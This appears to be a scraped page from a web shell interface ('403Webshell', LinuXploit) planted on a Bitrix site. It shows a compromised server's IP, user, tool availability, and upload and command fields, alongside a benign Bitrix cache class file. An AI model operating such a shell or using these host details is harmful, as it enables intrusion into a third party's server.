403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/classes/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/classes/general/cache.php
<?php

/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2023 Bitrix
 */

class CPHPCache
{
	/** @var Bitrix\Main\Data\Cache */
	private $cache;

	public function __construct()
	{
		$this->cache = \Bitrix\Main\Data\Cache::createInstance();
	}

	public function Clean($uniq_str, $initdir = false, $basedir = "cache")
	{
		return $this->cache->clean($uniq_str, $initdir, $basedir);
	}

	public function CleanDir($initdir = false, $basedir = "cache")
	{
		$this->cache->cleanDir($initdir, $basedir);
	}

	public function InitCache($TTL, $uniq_str, $initdir = false, $basedir = "cache")
	{
		return $this->cache->initCache($TTL, $uniq_str, $initdir, $basedir);
	}

	public function Output()
	{
		$this->cache->output();
	}

	public function GetVars()
	{
		return $this->cache->getVars();
	}

	public function StartDataCache($TTL = false, $uniq_str = false, $initdir = false, $vars = [], $basedir = "cache")
	{
		$narg = func_num_args();
		if ($narg <= 0)
		{
			return $this->cache->startDataCache();
		}
		if ($narg <= 1)
		{
			return $this->cache->startDataCache($TTL);
		}
		if ($narg <= 2)
		{
			return $this->cache->startDataCache($TTL, $uniq_str);
		}
		if ($narg <= 3)
		{
			return $this->cache->startDataCache($TTL, $uniq_str, $initdir);
		}

		return $this->cache->startDataCache($TTL, $uniq_str, $initdir, $vars, $basedir);
	}

	function AbortDataCache()
	{
		$this->cache->abortDataCache();
	}

	/**
	 * Saves the result of calculation to the cache.
	 *
	 * @param mixed $vars
	 * @return void
	 */
	function EndDataCache($vars = false)
	{
		$this->cache->endDataCache($vars);
	}

	function IsCacheExpired($path)
	{
		return $this->cache->isCacheExpired($path);
	}

	public static function ClearCache($full = false, $initdir = '')
	{
		if ($initdir === "" && is_string($full))
		{
			$initdir = $full;
			$full = true;
		}

		if ($full === true)
		{
			$obCache = new CPHPCache;
			$obCache->CleanDir($initdir, "cache");
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit